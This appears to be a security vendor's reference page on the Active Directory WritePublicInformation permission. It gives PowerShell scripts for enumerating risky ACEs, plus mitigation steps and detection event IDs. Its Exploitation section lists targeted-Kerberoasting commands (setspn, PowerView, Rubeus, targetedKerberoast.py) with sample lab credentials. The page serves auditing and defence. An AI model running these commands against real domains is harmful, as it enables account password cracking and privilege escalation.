Summary
| Forestall ACL Alias | WritePublicInformation |
| AD Alias | Write Public-Information |
| Affected Object Types | Users, Computers, Managed Service Accounts |
| Exploitation Certainty | Likely |
| AD Property Set | Public-Information |
| AD Right | WriteProperty |
| AD Permission Guid | e48d0154-bcf8-11d1-8702-00c04fb96050 |
Description
The WritePublicInformation permission allows an account to modify attributes in the Active Directory Public-Information property set. A property set groups multiple attributes under one Access Control Entry, so a single ACE can grant write access to several related fields.
This property set includes servicePrincipalName. Because of this, WritePublicInformation can allow the permission holder to add, update, or remove SPNs on the affected object.
Risk
When WritePublicInformation allows modification of servicePrincipalName, it can be abused like the WriteSPN edge. An attacker can add a controlled SPN to the target account, request a Kerberos service ticket for that SPN, extract the encrypted ticket, and attempt to crack the target account password offline.
This is commonly referred to as targeted Kerberoasting. The impact depends on the target account and password strength. If the affected object is a privileged user, service account, or computer account with meaningful access, successful cracking can lead to privilege escalation and lateral movement.
Identification
PowerShell
Active Directory Module
Using the ActiveDirectory PowerShell module, you can enumerate WritePublicInformation entries.
1. Find-WritePublicInformation function
function Find-WritePublicInformation { [CmdletBinding()] param( [string]$SearchBase = $null, [string]$OutputPath = "WritePublicInformation.csv", [string]$Target = $null )
try { Import-Module ActiveDirectory -ErrorAction Stop } catch { Write-Error "ActiveDirectory module not found."; return }
$allow = [System.Security.AccessControl.AccessControlType]::Allow $writeProperty = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty $publicInformationGuid = [guid]"e48d0154-bcf8-11d1-8702-00c04fb96050" $principalFilter = "(|(&(objectCategory=person)(objectClass=user))(objectClass=computer)(objectClass=msDS-ManagedServiceAccount)(objectClass=msDS-GroupManagedServiceAccount)(objectClass=msDS-DelegatedManagedServiceAccount))"
$ldapFilter = if ($Target) { "(|(distinguishedName=$Target)(sAMAccountName=$Target)(name=$Target))" } else { $principalFilter } $adParams = @{ LDAPFilter = $ldapFilter ErrorAction = "Stop" } if ($SearchBase) { $adParams.SearchBase = $SearchBase }
try { $objects = Get-ADObject @adParams } catch { Write-Error "Query failed: $($_.Exception.Message)"; return } if (-not $objects) { Write-Output "No matching objects found."; return }
$rows = foreach ($object in $objects) { try { foreach ($ace in (Get-Acl -Path "AD:$($object.DistinguishedName)").Access) { if ( $ace.AccessControlType -eq $allow -and (($ace.ActiveDirectoryRights -band $writeProperty) -eq $writeProperty) -and $ace.ObjectType -eq $publicInformationGuid -and -not $ace.IsInherited ) { [pscustomobject]@{ ObjectDN = $object.DistinguishedName PermissionHolder = $ace.IdentityReference.Value } } } } catch { Write-Warning "ACL read failed for '$($object.DistinguishedName)': $($_.Exception.Message)" } }
if ($rows) { $rows | Sort-Object ObjectDN,PermissionHolder -Unique | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 Write-Host "Exported results to '$OutputPath'." } else { Write-Host "No explicit WriteProperty ACEs were found for the Public-Information property set." }}2. Scan all supported domain principals
Find-WritePublicInformation3. Scan a specific account
Find-WritePublicInformation -Target "_admin"4. Using SearchBase to limit the searching scope
Find-WritePublicInformation -SearchBase "CN=Users,DC=Forestall,DC=Labs".NET Directory Services
By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate WritePublicInformation entries without relying on external modules.
1. Find-WritePublicInformationSimple function
function Find-WritePublicInformationSimple { [CmdletBinding()] param( [string]$Target, [string]$OutputPath = "WritePublicInformation.csv" )
$publicInformationGuid = [guid]"e48d0154-bcf8-11d1-8702-00c04fb96050" $allow = [System.Security.AccessControl.AccessControlType]::Allow $writeProperty = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty $principalFilter = "(|(&(objectCategory=person)(objectClass=user))(objectClass=computer)(objectClass=msDS-ManagedServiceAccount)(objectClass=msDS-GroupManagedServiceAccount)(objectClass=msDS-DelegatedManagedServiceAccount))"
if ($Target) { try { $entries = @([ADSI]"LDAP://$Target") } catch { Write-Error "Failed to bind to '$Target': $_"; return } } else { try { $baseDN = ([ADSI]"LDAP://RootDSE").defaultNamingContext $searchRoot = [ADSI]"LDAP://$baseDN" $searcher = [System.DirectoryServices.DirectorySearcher]::new($searchRoot) $searcher.Filter = $principalFilter $searcher.PageSize = 1000 [void]$searcher.PropertiesToLoad.Add("distinguishedName") $entries = foreach ($result in $searcher.FindAll()) { try { $result.GetDirectoryEntry() } catch { continue } } } catch { Write-Error "LDAP enumeration failed: $_" return } }
$rows = foreach ($entry in $entries) { try { $aces = $entry.ObjectSecurity.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) } catch { continue } foreach ($ace in $aces) { if ($ace.AccessControlType -ne $allow) { continue } if (($ace.ActiveDirectoryRights -band $writeProperty) -ne $writeProperty) { continue } if ($ace.ObjectType -ne $publicInformationGuid) { continue } if ($ace.IsInherited) { continue }
$holder = try { $ace.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value } catch { $ace.IdentityReference.Value } [pscustomobject]@{ ObjectDN = $entry.Properties["distinguishedName"][0] PermissionHolder = $holder } } }
if ($rows) { $rows | Sort-Object ObjectDN,PermissionHolder -Unique | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 Write-Host "Exported results to '$OutputPath'." } else { Write-Host "No explicit WriteProperty ACEs were found for the Public-Information property set." }}2. Scan all supported domain principals
Find-WritePublicInformationSimple3. Scan a specific account
Find-WritePublicInformationSimple -Target "CN=_admin,CN=Users,DC=Forestall,DC=labs"Active Directory Users and Computers
1. Open Active Directory Users and Computers on your Windows server, and activate the Advanced Features option.
2. Right-click the affected object.
3. Select Properties from the context menu.
4. In the Properties window, navigate to the Security tab.
5. Click the Advanced button to open the Advanced Security Settings dialog.
6. Select the relevant Access Control Entry (ACE).
7. Click Edit to modify the selected ACE.
8. In the permissions list, locate and check the Write Public Information option.
9. Click OK and Apply to save changes.

Write Public Information permission
Exploitation
The WritePublicInformation permission grants control over servicePrincipalName through the Public-Information property set. The abuse flow is the same as WriteSPN.
Windows
An attacker can add an SPN to the target account.
setspn -A <service type>/<server FQDN> <targetuser>Example:
setspn -A http/dumpyhost johnThe same change can also be made with PowerView.
Set-DomainObject -Identity <target> -SET @{serviceprincipalname='<spn>'}Example:
Set-DomainObject -Identity john -SET @{serviceprincipalname='http/dumpyhost'}After the SPN is added, the attacker can request a service ticket and attempt to crack it offline.
.\Rubeus.exe kerberoast /spn:"http/dumpyhost" /nowrapLinux
On Linux, targeted Kerberoasting can be performed with targetedKerberoast.py.
python targetedKerberoast.py -d <domain> -u <user> -p '<password>' --dc-host <dchost> --request-user <targetuser>Example:
python targetedKerberoast.py -d forestall.labs -u adam -p 'Temp123!' --dc-host FSDC01.forestall.labs --request-user johnFor more exploitation detail, see the WriteSPN edge documentation.
Mitigation
Access Control Entries identified as dangerous should be removed by following the steps below.
1. Open Active Directory Users and Computers, and activate the Advanced Features option.
2. Double-click the affected object and open the Security tab.
3. Click the Advanced button and open the dangerous Access Control Entry.
4. Remove the Write Public Information permission.
5. Click OK and Apply to save changes.

Remove Write Public Information permission
Review whether any principal still needs write access to the Public-Information property set on the affected object. If the operational need is only to manage non-sensitive profile attributes, avoid granting a broad property set permission when a narrower attribute-level permission is sufficient.
Detection
Changes to servicePrincipalName and changes to object security descriptors can be detected by auditing directory service modifications. Ensure Audit Directory Service Changes and Audit Directory Service Access are enabled on Domain Controllers. Look for the following events:
| Event ID | Description | Fields/Attributes | References |
|---|---|---|---|
| 5136 | A directory service object was modified. | AttributeLDAPDisplayName should equal servicePrincipalName or nTSecurityDescriptor. | https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136 |
| 4662 | An operation was performed on an object. | AccessMask, Properties, and ObjectType for WriteProperty activity. | https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662 |
| 4769 | A Kerberos service ticket was requested. | TargetUserName and ServiceName for newly added SPNs. | https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769 |